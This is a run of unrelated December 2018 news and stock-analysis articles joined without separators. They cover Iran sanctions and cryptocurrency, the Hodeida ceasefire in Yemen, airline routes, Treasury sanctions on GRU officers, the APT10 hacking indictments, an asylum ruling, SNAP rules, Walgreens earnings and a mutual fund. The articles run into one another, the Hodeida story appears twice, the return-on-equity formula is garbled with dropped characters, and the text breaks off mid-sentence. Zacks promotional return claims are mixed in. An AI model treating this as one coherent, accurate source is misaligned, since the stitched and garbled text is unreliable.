Story continues The United States government announced back in May that it was considering pulling out of the 2015 U.S.-Iran nuclear deal to re-impose the sanctions that the agreement was established to help lift. The sanctions were eventually enforced, with the countrys commercial banks removed from the Society for Worldwide Interbank Financial Telecommunication (SWIFT) network. As a result of this exclusion, the Iranian Central Bank has been cut off from the rest of the world and is unable to conduct business with financial institutions the world over. Despite the sanctions, the U.K. government has pledged that it will continue to try to foster banking relationships with Iranian companies where appropriate. A spokesperson for the Prime Minister said that the office [regrets] the re-imposition of sanctions by the US, and the country has made efforts to trade with Iran even as banks shy away from commercial business due to the weight of the sanctions. While they wait for a lasting solution to their predicaments, some students have found a temporary solution to get funds out of Iran. Maziar Bahari, an editor of local news outlet IranWire.com, informed The Guardian that hundreds of students are affected by the banking restrictions but some of them are now using bitcoin and other cryptocurrencies in order to get money from their family back in Iran. In response to these sanctions, the country seems to have turned to cryptocurrencies, making use of its unregulated and decentralized nature to ensure that financial activities and transactions, particularly for businesses, go on as normal. In an interview with local TV, Alireza Daliri, deputy for Management and Investment at the Directorate for Scientific and Technological Affairs, stated that the country was already working on developing a digital currency. He explained: This currency would facilitate the transfer of money (to and from) anywhere in the world. Besides, it can help us at the time of sanctions. The move was widely criticized by the U.S. Financial Crimes Enforcement Network, with the agency requesting that crypto exchanges ensure that they monitor the use of cryptocurrencies by Iranians as a means of side-swiping the sanctions. This article originally appeared on Bitcoin Magazine. Hodeida (Yemen) (AFP) - An uneasy calm returned to the battleground Yemeni city of Hodeida on Thursday after further overnight skirmishes, as the warring parties await the promised deployment of UN staff to oversee a hard-won but fragile truce. The ceasefire in the Red Sea port city, which is a vital aid lifeline for millions at risk of starvation, is the centrepiece of a peace push that is seen as the best chance yet of ending four years of devastating conflict. Military officials and residents have reported intermittent fighting between Saudi-backed government forces and Huthi Shiite rebels since the UN-brokered ceasefire came into effect in the city and its surroundings on Tuesday. A pro-government official told AFP that four loyalists were wounded in a firefight on Wednesday night. "The exchange of fire lasted for about half an hour, and there is an uneasy calm this morning," he said. Residents reached by telephone confirmed to AFP that there was no fighting on Thursday morning. The official added there has been intermittent fighting on a number of battlefronts in Hodeida province, including the districts of Hays and Al-Tuhayta. A coalition official told AFP the "level of intensity" of Huthi attacks had decreased, which was "a positive sign but too early to draw concrete conclusions". Pro-government forces and Huthi rebels accused each other of breaching the ceasefire agreed at talks in Sweden earlier this month. The rebel-run Saba news agency said loyalists targeted a "number of neighbourhoods in the city" overnight. - 'Breathing down the neck' - UN observers are due in Yemen to head up monitoring teams made up of government and rebel representatives tasked with overseeing the implementation of the UN-brokered ceasefire, under the auspices of a Redeployment Coordination Committee. The committee's UN chair, Patrick Cammaert, convened its first meeting by videoconference from New York on Wednesday "to discuss the general outlines of its work, including agreement of a code of conduct", UN spokesman Stephane Dujarric said. Story continues UN chief Antonio Guterres was "breathing down the neck" of officials to make sure the UN observers are deployed as soon as possible, Dujarric said. He added that Cammaert will head on Thursday to Jordan from where he will travel on to the rebel-held capital Sanaa and Hodeida. A UN official told AFP that he was expected in Amman on Friday. "His departure to Yemen depends on logistics arrangements and flight availability," the official, who requested anonymity, said. Brigadier General Ahmed al-Kokbani, a Yemeni government representative on the committee, told AFP that the videoconference with Cammaert covered the bases of the committee's mission. "Cammaert asked members of the team to work diligently in calming the situation and to reject any violations," he said. The coalition source reiterated Thursday the Saudi-alliance's commitment to UN peace efforts, saying: "We will extend our full support to Cammaert... and we hope to see positive progress". The coalition said Wednesday that the hard-won ceasefire agreement will collapse if rebel violations persist and the United Nations does not intervene. The committee's observers are due to oversee the withdrawal of the warring parties from Hodeida, including a rebel pullout from the city's docks that are the entry point for 80 percent of Yemeni imports and nearly all UN-supervised humanitarian aid. Cammaert is due to report back to the Security Council about the situation on the ground on a weekly basis. According to the International Crisis Group, the "odds are stacked against" UN envoy Martin Griffiths and his team. "The Hodeida agreement came about in a rush, and critics have assailed it as too vague and open to interpretation," it said in a statement on Wednesday. "Griffiths will now have to build on this imperfect but highly welcome and overdue agreement, which, as Crisis Group has argued, the UN Security Council should endorse via a new resolution," it added. "Without strong international support, the Hodeida ceasefire will falter." The war between the Shiite Huthi rebels and troops loyal to President Abedrabbo Mansour Hadi escalated in 2015, when he fled into Saudi exile and the Saudi-led military coalition intervened. Since then, the war has killed some 10,000 people, according to the World Health Organization, although human rights groups say the real death toll could be five times as high. The conflict has pushed 14 million people to the brink of famine in what the United Nations describes as the world's worst humanitarian crisis. Dubai (AFP) - The battleground Yemeni port city of Hodeida was calm Thursday after a minor exchange of fire between the warring parties overnight, a pro-government official said. Military officials and residents have said that there has been intermittent fighting between loyalists -- backed by a Saudi-led coalition -- and the Iran-aligned Huthis since a truce in the lifeline Red Sea port city and its surroundings came into force on Tuesday. A pro-government official told AFP that four loyalists were wounded on Wednesday night. "The exchange of fire lasted for about half an hour, and there is uneasy calm this morning," he said. The official added there has been intermittent fighting on a number of battlefronts in Hodeida province, including the districts of Hays and Al-Tuhayta. The pro-government forces and the Huthi rebels exchanged accusations on Thursday that the other side was violating the ceasefire agreement reached at talks in Sweden earlier this month. UN observers are due in Yemen to head up monitoring teams made up of government and rebel representatives tasked with overseeing the implementation of the UN-brokered ceasefire, under the auspices of a Redeployment Coordination Committee. The UN chair of that committee, Patrick Cammaert, convened its first meeting by videoconference from New York on Wednesday "to discuss the general outlines of its work, including agreement of a code of conduct", UN spokesman Stephane Dujarric said. UN chief Antonio Guterres was "breathing down the neck" of officials to make sure the UN observers are deployed as soon as possible, Dujarric said. He added that Cammaert will head on Thursday to Jordan's capital Amman, from where he will travel to the Yemeni capital Sanaa and Hodeida. Brigadier Ahmed Al-Kokbani, a Yemeni government representative on the committee, told AFP that the observers' meeting with Cammaert covered the bases of the committee's work. Story continues "Cammaert asked members of the team to work diligently in calming the situation and to reject any violations (of the truce deal)," he said. The Saudi-led coalition warned Wednesday that the hard-won ceasefire agreement will collapse if rebel violations persist and the United Nations does not intervene. The Redeployment Coordination Committee's observers are due to oversee the withdrawal of the warring parties from Hodeida, including a rebel pullout from the city's docks that are the point of entry for 80 percent of Yemeni imports and nearly all UN-supervised humanitarian aid. The committee chair is expected to report to the Security Council on a weekly basis as part of a major diplomatic push that is seen as the best chance yet to end the four-year conflict. The war between the Shiite Huthi rebels and troops loyal to President Abedrabbo Mansour Hadi escalated in 2015, when he fled into Saudi exile and the Saudi-led military coalition intervened. Since then, the war has killed some 10,000 people, according to the World Health Organization, although human rights groups say the real death toll could be five times as high. In yet another expansion initiative, United Continental Holdings UAL wholly owned subsidiary United Airlines has announced 11 new services from its hubs in Chicago, Houston, Los Angeles and Washington, D.C. The Chicago, IL-based airline will begin weekend operations to Colorado, Florida and Oregon. Additionally, it will introduce daily flights to Nova Scotia effective Jun 6. From Houston, the carrier will initiate a Saturday service next summer to Durango. It is also expected to offer a daily year-round service connecting Houston with Ontario. United Continental Holdings, Inc. Price United Continental Holdings, Inc. Price | United Continental Holdings, Inc. Quote United Airlines will also commence a twice-daily service between Los Angeles and Stockton from Aug 20, 2019 onward. Further, the carrier will start a new Saturday service for summer travel between Washington Dulles and Traverse City, MI. Tickets are currently available for United Airlines summer service set to begin in June 2019. Earlier this December, the carrier reached a joint business agreement (JBA) with Copa Holdings CPA and Avianca (including several of its affiliates). The JBA, on governments approval, is anticipated to facilitate travel experience between the United States and 19 countries in Central and South America. (Read more: United Continental Arm Inks Deal to Boost Latin American Base) Previously in November, United Airlines announced plans to boost connectivity to Germany via a new nonstop service from its Denver International Airport hub to Frankfurt. (Read more: United Continental Arm to Begin Denver-Frankfurt Service) Zacks Rank & Key Picks United Continental carries a Zacks Rank #3 (Hold). A few better-ranked stocks in the same space are Air France-KLM AFLYY and Spirit Airlines SAVE, both flaunting a Zacks Rank #1 (Strong Buy). You can see the complete list of todays Zacks #1 Rank stocks here. Story continues Shares of Air France-KLM and Spirit Airlines have rallied more than 19% and 49%, respectively, over the past six months. Today's Stocks from Zacks' Hottest Strategies It's hard to believe, even for us at Zacks. But while the market gained +21.9% in 2017, our top stock-picking screens have returned +115.0%, +109.3%, +104.9%, +98.6%, and +67.1%. And this outperformance has not just been a recent phenomenon. Over the years it has been remarkably consistent. From 2000 - 2017, the composite yearly average gain for these strategies has beaten the market more than 19X over. Maybe even more remarkable is the fact that we're willing to share their latest stocks with you without cost or obligation. See Them Free>> Want the latest recommendations from Zacks Investment Research? Today, you can download 7 Best Stocks for the Next 30 Days. Click to get this free report Copa Holdings, S.A. (CPA) : Free Stock Analysis Report Spirit Airlines, Inc. (SAVE) : Free Stock Analysis Report Air France-KLM SA (AFLYY) : Free Stock Analysis Report United Continental Holdings, Inc. (UAL) : Free Stock Analysis Report To read this article on Zacks.com click here. Many investors are still learning about the various metrics that can be useful when analysing a stock. This article is for those who would like to learn about Return On Equity (ROE). Well use ROE to examine Univastu India Limited (NSE:UNIVASTU), by way of a worked example. Univastu India has a ROE of 22%, based on the last twelve months. Another way to think of that is that for every 1 worth of equity in the company, it was able to earn 0.22. View our latest analysis for Univastu India How Do You Calculate Return On Equity? The formula for return on equity is: Return on Equity = Net Profit Shareholders Equity Or for Univastu India: 22% = 33.27 149m (Based on the trailing twelve months to March 2018.) Its easy to understand the net profit part of that equation, but shareholders equity requires further explanation. It is all earnings retained by the company, plus any capital paid in by shareholders. You can calculate shareholders equity by subtracting the companys total liabilities from its total assets. What Does ROE Mean? ROE measures a companys profitability against the profit it retains, and any outside investments. The return is the profit over the last twelve months. That means that the higher the ROE, the more profitable the company is. So, as a general rule, a high ROE is a good thing. Clearly, then, one can use ROE to compare different companies. Does Univastu India Have A Good Return On Equity? One simple way to determine if a company has a good return on equity is to compare it to the average for its industry. Importantly, this is far from a perfect measure, because companies differ significantly within the same industry classification. Pleasingly, Univastu India has a superior ROE than the average (8.5%) company in the Construction industry. NSEI:UNIVASTU Last Perf December 20th 18 Thats clearly a positive. I usually take a closer look when a company has a better ROE than industry peers. One data point to check is if insiders have bought shares recently. Story continues How Does Debt Impact ROE? Companies usually need to invest money to grow their profits. The cash for investment can come from prior year profits (retained earnings), issuing new shares, or borrowing. In the case of the first and second options, the ROE will reflect this use of cash, for growth. In the latter case, the debt used for growth will improve returns, but wont affect the total equity. Thus the use of debt can improve ROE, albeit along with extra risk in the case of stormy weather, metaphorically speaking. Combining Univastu Indias Debt And Its 22% Return On Equity While Univastu India does have some debt, with debt to equity of just 0.99, we wouldnt say debt is excessive. The combination of modest debt and a very respectable ROE suggests this is a business worth watching. Careful use of debt to boost returns is often very good for shareholders. However, it could reduce the companys ability to take advantage of future opportunities. The Bottom Line On ROE Return on equity is a useful indicator of the ability of a business to generate profits and return them to shareholders. A company that can achieve a high return on equity without debt could be considered a high quality business. If two companies have the same ROE, then I would generally prefer the one with less debt. But when a business is high quality, the market often bids it up to a price that reflects this. The rate at which profits are likely to grow, relative to the expectations of profit growth reflected in the current price, must be considered, too. Check the past profit growth by Univastu India by looking at this visualization of past earnings, revenue and cash flow. But note: Univastu India may not be the best stock to buy. So take a peek at this free list of interesting companies with high ROE and low debt. To help readers see past the short term volatility of the financial market, we aim to bring you a long-term focused research analysis purely driven by fundamental data. Note that our analysis does not factor in the latest price-sensitive company announcements. The author is an independent contributor and at the time of publication had no position in the stocks mentioned. For errors that warrant correction please contact the editor at editorial-team@simplywallst.com. Baghdad (AFP) - The United States has granted Iraq a 90-day extension to an exemption from reimposed sanctions on Iran to keep on importing energy, a government source said on Thursday. President Donald Trump reimposed crippling unilateral sanctions on Iran's energy and finance sectors on November 5 following his May decision to abandon a landmark 2015 nuclear deal between major powers and Tehran. But he gave Iraq a 45-day waiver to continue buying electricity and natural gas to generate it from its eastern neighbour. Iraq was expected to use that time to submit a plan on how it would wean itself off Iranian supplies. In the days leading up to the deadline Thursday, Prime Minister Adel Abdel Mahdi said a delegation of Iraqi officials would travel to Washington to discuss sanctions. And on Thursday, a government source involved in the talks, told AFP the delegation had secured a 90-day extension so Iraq could keep buying both Iranian electricity and gas. Asked whether the US had pressured the Iraqi delegation to partner with US companies to fill the eventual gap, the source said the issue was part of "complicated discussions". Iraq faces a chronic power shortage that often leave homes without mains electricity for as much 20 hours a day and was a key driving factor behind mass protests this summer. To cope with the shortages, Iraq pipes in up to 28 million cubic metres of Iranian gas a day for power generation and also directly imports up to 1,300 megawatts of Iranian electricity. That dependence is uncomfortable for Washington, which sees Tehran as its top regional foe. Last week, US Energy Secretary Rick Perry discussed sanctions with Iraq's ministers of oil and electricity in Baghdad, and said Iraq should partner with US companies to become energy independent. "Working together, the US and Iraq can develop Iraq's oil, gas and water industries," Perry said. Iraq's electricity ministry said it could stop relying on Iranian electricity within two years, but that halting gas imports would be much more difficult. Story continues One solution would be developing Iraq's ability to capture gas flares, the gas set alight during oil extraction. The World Bank estimates that wasted flares represent an annual loss of about $2.5 billion -- enough to fill the gap in Iraq's gas-based power generation. A second source with close knowledge of the negotiations told AFP Washington was trying to convince Iraq to partner with American firms General Electric, Baker Hughes and Orion to capture flares. "The US tells Iraqi officials it's a win-win-win: they stop relying on Iran, they capture their own gas and they benefit US companies in the process," the source said. Neither Iraq's electricity ministry nor the US embassy in Baghdad responded to AFP requests for comment. Washington (AFP) - The US Treasury hit 15 members of Russia's GRU military intelligence agency with sanctions Wednesday over their alleged roles in interference in the 2016 presidential election and hacking the World Anti-Doping Agency. Also sanctioned were two GRU agents who allegedly attempted to assassinate Russian defector Sergei Skripal in Britain, and two individuals and three companies tied to the Russian troll farm accused of trying to manipulate US public opinion. Separately, the Treasury said it would end sanctions on Russian aluminum giant Rusal and two related companies after blacklisted billionaire Oleg Deripaska took action to sharply cut his stake in them. The sanctions ban Americans and companies with US arms -- like many global banks -- from doing business with those on the US blacklist. The sanctions also freeze any of the targets' assets in US jurisdictions. "The United States will continue to work with international allies and partners to take collective action to deter and defend against sustained malign activity by Russia, its proxies, and intelligence agencies," said Treasury Secretary Steven Mnuchin. - Already indicted - Most of the names on the new sanctions list were GRU officers already covered by separate US blacklists and indictments. Four were indicted in October over the cyber attacks on the global chemical weapons watchdog, the OPCW and on WADA between 2016 and 2018. Nine were part of a group indicted by Special Counsel Robert Mueller, the head of the investigation into Russian meddling in the 2016 election, in July. The new sanctions came two days after two extensive reports were released detailing concerted Russian attempts to stoke US political conflict over social media by the St Petersburg-based Internet Research Agency, an operation US intelligence says was dubbed Project Lakhta. The IRA is controlled by the Concord Group of Yevgeniy Prigozhin, a close ally of Russian President Vladimir Putin Story continues Wednesday's sanctions blacklist added Concord's accountant for Project Lakhta -- also already indicted in the United States -- and three companies the Treasury said the Concord group used to mask its operations. - Oligarch Deripaska pressured - The delisting of Rusal and the two other companies, En+ Group and JSC EuroSibEnergo, came as they sought to avoid being locked out of global markets due to their close association with Deripaska. Derispaska is known to have friendly ties with Putin and had business ties with president Donald Trump's former campaign chairman Paul Manafort, who has been indicted and convicted by the Mueller investigation. "Russian oligarch Oleg Deripaska will remain sanctioned, and his property will remain blocked," the Treasury said in a statement. Deripaska was one of several oligarchs sanctioned in April 2018 in retaliation for what the Trump administration called "the Russian government's ongoing and increasingly brazen pattern of malign activity across the world," citing its interference in Syria and its seizure of Crimea. Also in Wednesday's sanctions, Victor Boyarkin, a former GRU officer, was blacklisted over his work with Deripaska. "Deripaska and Boyarkin were involved in providing Russian financial support to a Montenegrin political party ahead of Montenegros 2016 elections," the Treasury said. Washington (AFP) - The United States has charged two Chinese men it says hacked the computer systems of companies and government agencies in a dozen countries, in what Washington says was a wide-reaching state-backed campaign of cyber-espionage. NASA and the US Navy were among those allegedly targeted in a programme the US Justice Department said also hit a major bank, telecom companies and healthcare providers in 12 countries. The charges drew a furious response from Beijing, which accused Washington of "fabricating facts". Deputy Attorney General Rod Rosenstein said China had repeatedly broken President Xi Jinping's 2015 pledge to halt cyberattacks on US companies and commercial infrastructure. "It is unacceptable that we continue to uncover cybercrime committed by China against other nations," he said. "We want China to cease its illegal cyber activities and honor its commitment to the international community. "But the evidence suggests that China may not intend to live up to its promises." US ally Britain also joined the charge, with Foreign Secretary Jeremy Hunt saying Beijing continued to hack computer systems for commercial and economic motives. "These activities must stop. They go against the commitments made to the UK in 2015, and, as part of the G20, not to conduct or support cyber-enabled theft of intellectual property or trade secrets," he said. American officials said evidence showed hackers had targeted Managed Service Providers (MSPs) -- specialist firms that help companies manage their information technology systems -- potentially giving them access to the computer networks of dozens of companies. Individual firms were not named in the indictment, but the 45 victims in the United States included government agencies -- NASA's Goddard Space Flight Center and Jet Propulsion Laboratory, the Department of Energy's Lawrence Berkeley National Laboratory, and the US Navy, from which the personal information of more than 100,000 personnel was stolen. Story continues Internationally, the hackers are alleged to have broken into the computers of a major bank, three telecommunications or consumer electronics companies, mining and healthcare firms, and business consultancies. Beijing lashed out at the claims, the latest in a roiling dispute over cybersecurity that pits China against the US and its western allies. "The United States is fabricating facts, creating something from nothing, and unwarrantedly denouncing China on cybersecurity issues," foreign ministry spokeswoman Hua Chunying said Friday. Beijing said it had lodged an official protest over the charges and warned the US to drop the prosecution, "to avoid serious damage to the relations between the two countries". - APT10 hacking group - The Justice Department said the two alleged hackers, Zhu Hua and Zhang Shilong, worked for the APT10 group, which Washington, London and other allies say is backed by China's Ministry of State Security. From at least 2006 to 2018, the APT10 Group "conducted extensive campaigns of intrusions into computer systems around the world", the Justice Department said. APT10 stole "hundreds of gigabytes" of sensitive data and information from its targets, invading their systems through the hacked MSPs, it added. The indictments of the two men came less than two months after the US charged 10 Chinese also allegedly linked to APT10 -- including two intelligence officers -- over a five-year scheme to steal aircraft engine technology from US and French aerospace firms. Those cases involved both hacking and recruiting insiders to steal data and IT system passwords. - Heightened tensions - Relations between Washington and Beijing are already frayed over trade, hacking and geopolitical issues. In October, the Department of Justice obtained the unprecedented extradition of a senior Chinese intelligence official from Belgium to stand trial in the United States for running the effort to steal US aviation industry secrets. In early December, Canada arrested an executive of leading Chinese telecom company Huawei at Washington's request. The US plans to charge her with fraud related to sanctions-breaking business dealings with Iran. Since then, China has detained Canadian citizens, in what observers say is an apparent bid to pressure Ottawa into releasing the Huawei executive. And, according to reports, US officials believe Chinese government-linked hackers were behind the theft of data on some 500 million guests of hotel giant Marriott, first reported on November 30. Last week, Bill Priestap, head of the FBI's counterintelligence division, told Congress that China's cyberattacks were part of a broad campaign against the US. "The Chinese government is attempting to acquire or steal not only the plans and intentions of the United States government, but also the ideas and innovations of the very people that make our economy so incredibly successful," he said. A federal judge has struck down most of the Trump administration policies that make it nearly impossible for victims of domestic abuse and gang violence to be granted asylum. The policies issued by former Attorney General Jeff Sessions were part of Donald Trumps broader crackdown on asylum and immigration. In his ruling, Judge Emmet Sullivan also ordered the government to return individuals to the US who had been deported under the policies, which made it difficult for those types of victims to claim credible fear of returning to their home countries. Mr Sullivan wrote that several of the new credible fear policies violate federal laws, and said that the Trump administration does not possess the power to unilaterally change immigration law. Because it is the will of Congress not the whims of the Executive that determine the standards for expected removal, the Court finds that those policies are unlawful, the decision reads. Read more Statue of Liberty climber found guilty after immigration protest The case before the court revolved around the case of several women and children, including a Salvadoran woman who had been granted asylum only to have it reversed. The woman had fled her home country after years of domestic abuse, but the Trump administration policies found that gang or domestic violence from non-government entities does not generally qualify an individual for asylum. Mr Sullivan, who was appointed by former President Bill Clinton, wrote that there is no legal basis for an effective categorical ban on domestic violence and gang-related claims. This ruling is a defeat for the Trump administrations all-out assault on the rights of asylum seekers. The governments attempt to obliterate asylum protections is unlawful and inconsistent with our countrys longstanding commitment to provide protection to immigrants fleeing for their lives, Jennifer Chang Newell, the managing attorney of the ACLUs Immigrants Rights Project who argued the case, said in a statement. Story continues Under US law, immigration officials at the border can remove immigrants attempting to enter the country except when they express credible fear claims that being sent back to their home countries would be dangerous or lethal. After those claims are lodged, asylum seekers then have their cases reviewed to determine if those claims are real. Jennifer Chang Newell, a lawyer for American Civil Liberties Union (ACLU) who represented the asylum seekers, said the ruling is a defeat for the Trump administration's all-out assault on the rights of asylum seekers. In a statement, the Department of Justice said administration policies sought to follow Congress' requirement that asylum be limited to those with a fear of persecution based on their race, nationality, religion, political opinion or membership in a social group. The department has filed a request to stay the court's orders while the government appealed the ruling. Judge Sullivan has not yet responded to that request. Washington (AFP) - The US Senate on Wednesday night approved an emergency short-term spending bill that averts a looming government shutdown, but excludes funds that President Donald Trump sought for a US-Mexico border wall. Senate Majority Leader Mitch McConnell said the measure will fund normal government operations at current levels through February 8 -- bringing Washington a step closer to avoiding a potentially crippling closure of some federal offices over next week's coming Christmas holiday. The bill will need to pass the House of Representatives and be signed by Trump before midnight Friday, when funding is set to expire for key agencies like the Department of Homeland Security. Republican and Democratic leaders earlier on Wednesday gave strong signals that the stopgap, known as a continuing resolution, would pass Congress and head to the president's desk. "It's good that our Republican colleagues in the Senate finally realized that they should not shut down the government over a wall that does not have enough support to pass the House or Senate and is not supported by a majority of the country," Senate Minority Leader Chuck Schumer said upon the bill clearing the Senate. White House aides told US media President Trump is inclined to sign the measure. But it is seen as a defeat for the president, who had argued strenuously for $5 billion in new funding for a wall that he insists would check illegal immigration. WASHINGTON (AP) The Trump administration is setting out to do what this year's farm bill didn't: tighten work requirements for millions of Americans who receive federal food assistance. The U.S. Department of Agriculture on Thursday proposed a rule that would restrict the ability of states to exempt work-eligible adults from having to obtain steady employment to receive food stamps. The move comes the same day that President Donald Trump signed an $867 billion farm bill that reauthorized agriculture and conservation programs while leaving the Supplemental Nutrition Assistance Program, which serves roughly 40 million Americans, virtually untouched. Passage of the farm bill followed months of tense negotiations over House efforts to significantly tighten work requirements and the Senate's refusal to accept the provisions. Currently, able-bodied adults ages 18-49 without children are required to work 20 hours a week to maintain their SNAP benefits. The House bill would have raised the age of recipients subject to work requirements from 49 to 59 and required parents with children older than 6 to work or participate in job training. The House measure also sought to limit circumstances under which families that qualify for other poverty programs can automatically be eligible for SNAP. None of those measures made it into the final farm bill despite Trump's endorsement. Now the administration is using regulatory rulemaking to try to scale back the SNAP program. Work-eligible able-bodied adults without dependents, known as ABAWDs, can currently receive only three months of SNAP benefits in a three-year period if they don't meet the 20-hour work requirement. But states with an unemployment rate of 10 percent or higher or a demonstrable lack of sufficient jobs can waive those limitations. States are also allowed to grant benefit extensions for 15 percent of their work-eligible adult population without a waiver. If a state doesn't use its 15 percent, it can bank the exemptions to distribute later, creating what Agriculture Secretary Sonny Perdue referred to as a "stockpile." Story continues The USDA's proposed rule would strip states' ability to issue waivers unless a city or county has an unemployment rate of 7 percent or higher. The waivers would be good for one year and would require the governor to support the request. States would no longer be able to bank their 15 percent exemptions. The new rule also would forbid states from granting waivers for geographic areas larger than a specific jurisdiction. Perdue said the proposed rule is a tradeoff for Trump's support of the farm bill, which Trump signed Thursday. "I have directed Secretary Perdue to use his authority to close work requirement loopholes in the food stamp program," Trump said at the signing ceremony. "That was a difficult thing to get done, but the farmers wanted it done, we all wanted it done, and in the end, it's going to make a lot of people happy." Democratic House leader Nancy Pelosi on Thursday slammed the Trump administration's efforts to restrict SNAP. "Why at Christmas would you take food out of the mouths of American people?" she said. The USDA in February solicited public comment on ways to reform SNAP, and Perdue has repeatedly voiced support for scaling back the program. The Trump administration's effort, while celebrated by some conservatives, has been met with criticism from advocates who say tightening restrictions will result in more vulnerable Americans, including children, going hungry. A Brookings Institution study published this summer said more stringent work requirements are likely to hurt those who are already part of the workforce but whose employment is sporadic. House Agriculture Chairman Michael Conaway, R-Texas, was the primary champion for tighter SNAP work requirements in the House farm bill and remained committed to the provision throughout negotiations. Conaway praised the rule Thursday for "creating a roadmap for states to more effectively engage ABAWDs in this booming economy." Conaway in September blasted the Senate for refusing to adopt work requirements and suggested that Perdue doesn't have the authority to make broad changes to the SNAP program. "The Senate seems to have abandoned the idea that it is Congress' responsibility to fix the waiver issue and that somehow Secretary Perdue could wave a magic wand and fix that. It's not his responsibility; he does not have the authority," Conaway said in an interview with Pro Farmer, a trade publication. On Thursday, Conaway spokeswoman Rachel Millard said the congressman was referring to Perdue's authority to change laws, which he does not have, not the secretary's ability to pursue regulatory action. She said Conaway continues to support Perdue's efforts to limit SNAP. The top Democrat on the Senate Agriculture Committee, Debbie Stabenow of Michigan, who along with its Republican chairman, Sen. Pat Roberts of Kansas, crafted the bipartisan Senate bill without any changes to SNAP, blasted the Trump administration for its attempt to restrict the program. "This regulation blatantly ignores the bipartisan farm bill that the president is signing today and disregards over 20 years of history giving states flexibility to request waivers based on local job conditions," Stabenow said. "I expect the rule will face significant opposition and legal challenges." Walgreens Boots Alliance (WBA) came out with quarterly earnings of $1.46 per share, beating the Zacks Consensus Estimate of $1.43 per share. This compares to earnings of $1.28 per share a year ago. These figures are adjusted for non-recurring items. This quarterly report represents an earnings surprise of 2.10%. A quarter ago, it was expected that this largest U.S. drugstore chain would post earnings of $1.44 per share when it actually produced earnings of $1.48, delivering a surprise of 2.78%. Over the last four quarters, the company has surpassed consensus EPS estimates four times. Walgreens, which belongs to the Zacks Retail - Pharmacies and Drug Stores industry, posted revenues of $33.79 billion for the quarter ended November 2018, surpassing the Zacks Consensus Estimate by 0.62%. This compares to year-ago revenues of $30.74 billion. The company has topped consensus revenue estimates three times over the last four quarters. The sustainability of the stock's immediate price movement based on the recently-released numbers and future earnings expectations will mostly depend on management's commentary on the earnings call. Walgreens shares have added about 0.9% since the beginning of the year versus the S&P 500's decline of -6.2%. What's Next for Walgreens? While Walgreens has outperformed the market so far this year, the question that comes to investors' minds is: what's next for the stock? There are no easy answers to this key question, but one reliable measure that can help investors address this is the company's earnings outlook. Not only does this include current consensus earnings expectations for the coming quarter(s), but also how these expectations have changed lately. Empirical research shows a strong correlation between near-term stock movements and trends in earnings estimate revisions. Investors can track such revisions by themselves or rely on a tried-and-tested rating tool like the Zacks Rank, which has an impressive track record of harnessing the power of earnings estimate revisions. Story continues Ahead of this earnings release, the estimate revisions trend for Walgreens was mixed. While the magnitude and direction of estimate revisions could change following the company's just-released earnings report, the current status translates into a Zacks Rank #3 (Hold) for the stock. So, the shares are expected to perform in line with the market in the near future. You can see the complete list of today's Zacks #1 Rank (Strong Buy) stocks here. It will be interesting to see how estimates for the coming quarters and current fiscal year change in the days ahead. The current consensus EPS estimate is $1.78 on $34.69 billion in revenues for the coming quarter and $6.53 on $137.38 billion in revenues for the current fiscal year. Investors should be mindful of the fact that the outlook for the industry can have a material impact on the performance of the stock as well. In terms of the Zacks Industry Rank, Retail - Pharmacies and Drug Stores is currently in the top 41% of the 250 plus Zacks industries. Our research shows that the top 50% of the Zacks-ranked industries outperform the bottom 50% by a factor of more than 2 to 1. Want the latest recommendations from Zacks Investment Research? Today, you can download 7 Best Stocks for the Next 30 Days. Click to get this free report Walgreens Boots Alliance, Inc. (WBA) : Free Stock Analysis Report To read this article on Zacks.com click here. By Manas Mishra and Manojna Maddipatla (Reuters) - Walgreens Boots Alliance Inc said on Thursday it would consolidate warehouses and shut some stores as part of a cost-cutting plan aimed at saving more than $1 billion annually. Shares of the company, however, fell nearly 3 percent as the company's international business suffered mainly due to weak demand in Britain, where its market share gains were offset by a weak retail environment. The company operates nearly 2,500 stores in the UK, roughly half its non-U.S. stores, making it vulnerable to Brexit-related uncertainties. "Walgreens' overall profitability was not as strong as we would have liked. This, in our view, was due to lower demand in the United Kingdom," Edward Jones analyst John Boylan said. The cost-cutting program, which is expected to save more than $1 billion by the end of the third year, comes as the company consolidates 1,932 stores acquired from Rite Aid Corp last year for $4.38 billion. The company said its pharmaceutical wholesale division and retail businesses in Chile and Mexico were part of its cost-saving plan, which is expected to result in significant restructuring and other special charges. International retail sales fell 5.9 percent to $2.9 billion, while same-store sales at its U.S. retail stores, where it sells over-the-counter drugs and personal care products, fell 3.2 percent. "We were facing a tough year-ago comp number that was boosted by the impact of hurricanes and a very strong cough-cold flu season," Chief Financial Officer James Kehoe said on a conference call. U.S. retail sales also took a hit as the company scaled back sales of certain products including tobacco. However, its U.S. pharmacy business posted a strong quarter, helping Walgreens beat profit estimates. Same-store sales at its U.S. pharmacies rose 2.8 percent, beating analysts' estimates of a 2.6 percent increase, according to IBES data from Refinitiv. Story continues Net income attributable to the company rose to $1.12 billion, or $1.18 per share, in the first quarter ended Nov. 30 from $821 million, or 81 cents per share, a year earlier. Excluding items, Walgreens earned $1.46 per share. Sales rose 9.9 percent to $33.79 billion. Analysts on average had expected a profit of $1.43 per share and revenue of $33.78 billion. (Reporting by Manogna Maddipatla and Manas Mishra in Bengaluru; Editing by Anil D'Silva) There are plenty of choices in the Large Cap Growth category, but where should you start your research? Well, one fund that might be worth investigating is Wells Fargo Premier Large Company Growth R6 (EKJFX). EKJFX possesses a Zacks Mutual Fund Rank of 1 (Strong Buy), which is based on nine forecasting factors like size, cost, and past performance. Objective EKJFX is part of the Large Cap Growth section, and this segment boasts an array of other possible options. Large Cap Growth mutual funds purchase stakes in numerous large U.S. companies that are expected to develop and grow at a faster rate than other large-cap stocks. Companies are usually considered to be large-cap if their market capitalization is over $10 billion. History of Fund/Manager Wells Fargo is based in San Francisco, CA, and is the manager of EKJFX. Wells Fargo Premier Large Company Growth R6 debuted in December of 2012. Since then, EKJFX has accumulated assets of about $182.41 million, according to the most recently available information. The fund is currently managed by a team of investment professionals. Performance Investors naturally seek funds with strong performance. This fund in particular has delivered a 5-year annualized total return of 9.23%, and is in the bottom third among its category peers. But if you are looking for a shorter time frame, it is also worth looking at its 3-year annualized total return of 9.99%, which places it in the bottom third during this time-frame. When looking at a fund's performance, it is also important to note the standard deviation of the returns. The lower the standard deviation, the less volatility the fund experiences. Compared to the category average of 9.04%, the standard deviation of EKJFX over the past three years is 14.01%. The fund's standard deviation over the past 5 years is 13.01% compared to the category average of 9.18%. This makes the fund more volatile than its peers over the past half-decade. Story continues Risk Factors One cannot ignore the volatility of this segment, however, as it is always important for investors to remember the downside to any potential investment. Even still, the fund has a 